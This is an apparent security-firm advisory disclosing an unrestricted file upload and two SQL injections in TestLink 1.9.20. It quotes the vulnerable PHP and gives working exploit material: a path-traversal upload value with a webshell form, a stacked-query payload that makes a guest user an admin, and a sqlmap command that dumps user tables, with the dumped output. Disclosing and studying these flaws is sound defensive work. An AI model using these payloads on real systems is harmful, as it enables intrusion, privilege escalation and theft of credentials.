Contact Us Get an assesment

Testlink 1.9.20: Unrestricted file upload and SQL injection

Testlink 1.9.20: Unrestricted file upload and SQL injection

Testlink is an open source, web based test management and test execution system written in PHP (a scripting language also known as an Hypertext Preprocessor).

Testlink 1.9.20: Unrestricted file upload and SQL injection

Testlink is an open-source, web-based test management and test execution system written in PHP (a scripting language also known as a Hypertext Preprocessor). During a recent security audit, our AppSec team found an unrestricted file upload (CVE-2020-8639) and two SQL Injection vulnerabilities (CVE-2020-8637, CVE-2020-8638). Below we provide an in-depth overview of the three identified flaws and ways they can be exploited.

Unrestricted file upload: Technical Analysis

Teslink offers the possibility to categorize test cases using keywords. These keywords can be exported and imported, and in this operation, we found our first vulnerability.

This screen allows us to upload a file containing keywords, and by selecting the File type we can choose between XML or CSV format. Let’s now look at the implementation of the init_args method in the file keywordsImport.php

function init_args(&$dbHandler)
  $_REQUEST = strings_stripSlashes($_REQUEST);
  $ipcfg = array("UploadFile" => array(tlInputParameter::STRING_N,0,1),
                 "importType" => array(tlInputParameter::STRING_N,0,100),
                 "tproject_id" => array(tlInputParameter::INT_N));
  $args = new stdClass();
  if( $args->tproject_id <= 0 )
    throw new Exception(" Error Invalid Test Project ID", 1);
  // Check rights before doing anything else
  // Abort if rights are not enough
  $user = $_SESSION['currentUser'];
  $env['tproject_id'] = $args->tproject_id;
  $env['tplan_id'] = 0;
  $check = new stdClass();
  $check->items = array('mgt_modify_key');
  $check->mode = 'and';
  $tproj_mgr = new testproject($dbHandler);
  $dm = $tproj_mgr->get_by_id($args->tproject_id,array('output' => 'name'));
  $args->tproject_name = $dm['name'];
  $args->UploadFile = ($args->UploadFile != "") ? 1 : 0;
  $args->fInfo = isset($_FILES['uploadedFile']) ? $_FILES['uploadedFile'] : null;
  $args->source = isset($args->fInfo['tmp_name']) ? $args->fInfo['tmp_name'] : null;
  $args->dest = TL_TEMP_PATH . session_id() . "-importkeywords." . $args->importType;
  return $args;

First, the strings_stripSlashes method un-quotes all quoted-string values from $_REQUEST. Then with the R_PARAMS method, the parameters defined in $ipcfg are retrieved from the REQUEST and stored in $args. The uploaded file is stored in $args->source and the value of $args->importType is concatenated in $args->dest. There is nothing to stop us from changing the value of importType to /../../any/folder/we/want. In other words, this parameter is vulnerable to Path Traversal.

Now let’s see where $args->dest is used:

$args = init_args($db);
$gui = initializeGui($args);
if(!$gui->msg && $args->UploadFile)
  if(($args->source != 'none') && ($args->source != ''))
    if (move_uploaded_file($args->source, $args->dest))

It is used in move_uploaded_file so we can upload a file in any directory of the server.

Unrestricted file upload: Exploit

One way to exploit this vulnerability would be to upload a webshell to have Remote Code Execution on the server where Testlink is deployed. To do this we need to locate a path on the server that the system user running Testlink has write permissions for (for example, /logs).

The value of importType should be /../../../logs/ws.php and we need to pass the code of our webshell in the variable uploadedFile in PHP. For example, this can be done in the following way:

        <form method="POST">
            <input name="command" id="command" />
            <input type="submit" value="Send" />
            <?php if(isset($_POST['command']))
        } ?>

This way we can execute code on the server:


SQL Injection: Technical Analysis

Testlink is vulnerable to SQL Injection, both in tree.class.php and testPlanUrgency.class.php.

Let’s look at each of the SQL injection in detail. The flow of the first one starts in dragdroptreenodes.php, the injection is done in the unsanitized parameter nodeid.

The following code snippet shows the entry point to the vulnerability:

function init_args()
  $args=new stdClass();
  foreach($key2loop as $key)
    $args->$key=isset($_REQUEST[$key]) ? $_REQUEST[$key] : null;
  return $args;

The user input nodeid is retrieved from the $_REQUEST and stored in $args->nodeid. The change_parent method is then invoked:

$treeMgr = new tree($db);
    case 'changeParent':

The method definition is in tree.class.php

  function change_parent($node_id, $parent_id)
    $debugMsg='Class:' .__CLASS__ . ' - Method:' . __FUNCTION__ . ' :: ';
    if( is_array($node_id) )
      $id_list = implode(",",$node_id);
      $where_clause = " WHERE id IN ($id_list) ";
      $where_clause=" WHERE id = {$node_id}";
    $sql = "/* $debugMsg */ UPDATE {$this->object_table} " .
           " SET parent_id = " . $this->db->prepare_int($parent_id) . " {$where_clause}";
    $result = $this->db->exec_query($sql);
    return $result ? 1 : 0;

As you can see in the source code, the $node_id is concatenated in the WHERE of the SQL statement, enabling the manipulation of the SQL syntax.

The second SQL injection starts in planUrgency.php the injection is done in the unsanitized parameter urgency.

  if (isset($_REQUEST['urgency']))
    $args->urgency_tc = $_REQUEST['urgency'];

After retrieving the urgency value of $_REQUEST, the setTestUrgency method is called.

  // Set urgency for individual testcases
    foreach ($argsObj->urgency_tc as $id => $urgency)
      $tplanMgr->setTestUrgency($argsObj->tplan_id, $id, $urgency);

The definition of the setTestUrgency method can be found at testPlanUrgency.class.php.

  public function setTestUrgency($testplan_id, $tc_id, $urgency)
    $sql = " UPDATE {$this->tables['testplan_tcversions']} SET urgency={$urgency} " .
           " WHERE testplan_id=" . $this->db->prepare_int($testplan_id) .
           " AND tcversion_id=" . $this->db->prepare_int($tc_id);
    $result = $this->db->exec_query($sql);
    return $result ? tl::OK : tl::ERROR;

Finally $urgency is directly embedded into a SQL query, allowing an attacker to control the SQL statement that will be executed in the database.

SQL Injection: Technical Analysis: Exploit

Teslink can be installed to use MySQL or PostgreSQL. If it is using MySQL, an attacker can list sensitive database information. But if it is using PostgreSQL, since it allows stacked queries, it permits any attacker to execute malicious queries on the server’s database.

PostgreSQL environment

This is the best scenario in an attacker’s perspective, because he can just execute any SQL query, only adding a ; followed by the query he wants to execute and finally a -- to comment on the rest of the query.

For example, we could make an account with a Guest role to become an Admin.

If we look at the script that populates the roles data in testlink_create_default_data.sql, we can see that the Role with id 8 is the Admin

# Roles -
INSERT INTO /*prefix*/roles  (id,description) VALUES (1, '<reserved system role 1>');
INSERT INTO /*prefix*/roles  (id,description) VALUES (2, '<reserved system role 2>');
INSERT INTO /*prefix*/roles  (id,description) VALUES (3, '<no rights>');
INSERT INTO /*prefix*/roles  (id,description) VALUES (4, 'test designer');
INSERT INTO /*prefix*/roles  (id,description) VALUES (5, 'guest');
INSERT INTO /*prefix*/roles  (id,description) VALUES (6, 'senior tester');
INSERT INTO /*prefix*/roles  (id,description) VALUES (7, 'tester');
INSERT INTO /*prefix*/roles  (id,description) VALUES (8, 'admin');
INSERT INTO /*prefix*/roles  (id,description) VALUES (9, 'leader');

Knowing this we can build the following payload to update the role_id of the user in the users table.

Knowing this we can build the following payload to update the role_id of the user in the users table.

nodeid=47; update users set role_id='8' where login='user';--

Before executing the payload the user only has Guest rights:

Guest user

After running our payload, the user becomes Admin and has all the respective permissions:

Guest user

MySQL environment

In this scenario, since no stacked queries are allowed, we cannot change the database values, but we can dump their data.

To automate the process we can use the sqlmap tool. For instance, if we wanted to dump the data from the users table, we would have to execute the following command:

python -u <URL_TESTLINK>/lib/ajax/dragdroptreenodes.php
-p nodeid
--dump -D testlink -T users

The purpose of this blog post is not to explain how to use sqlmap, so we will just briefly explain the arguments we have passed to this command:

  • u -> target URL, in our case is one of the SQL Injections we have previously found
  • data -> data string to be sent through POST
  • p -> testable parameter, in our case we know it is the nodeid
  • cookie -> HTTP Cookie header value
  • dump -> dump DBMS database table entries
  • D -> database name
  • T -> table name

With these arguments we make sqlmap focus on what we want, making it take less time and launching fewer requests against the server.

The output of the sqlmap is:

web application technology: Apache 2.4.41, PHP 7.3.14
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
Database: testlink
Table: users
[2 entries]
+----+---------+---------------+-------+--------- --- ----+----------- --- ---+-------------- --- ---+
| id | role_id | email         | login | password         | script_key        | cookie_string        |
+----+---------+---------------+-------+--------- --- ----+----------- --- ---+-------------- --- ---+
| 1  | 8       | [email protected]   | admin | $2y$10$9 ... L/e | d4aed7db45 ... a5 | 517372818f771 ... 94 |
| 2  | 5       | [email protected]    | user  | $2y$10$8 ... YPW | NULL              | 9deab133cb5f7 ... 6a |
+----+---------+---------------+-------+--------- --- ----+----------- --- ---+-------------- --- ---+

When we analyze the sqlmap output, we can see that Testlink uses bcrypt to store users’ passwords so we can’t do anything with this information. However, it stores the apiKey and cookie in clear text, so we can use them to make requests as Admin.


In this blog post, we have seen why it is so important to never trust the data provided by a user. Data from all potentially unreliable sources should be subject to input validation and these three vulnerabilities could have been avoided by applying correct input data validations.

In the case of the Unrestricted file upload vulnerability, we want to emphasize the importance of conducting a static analysis, because this kind of vulnerabilities can easily be overlooked in a dynamic analysis, but it is much easier and faster to detect it by checking the source code.


31/1/2020First contact with vendor
5/2/2020Commits of correct patch (#1, #2 , #3)
25/2/2020We ask the vendor when the new version with the fixes will be released
27/2/2020Vendor indicates that there is not going to be a new release, users should download the branch testlink_1_9_20_fixed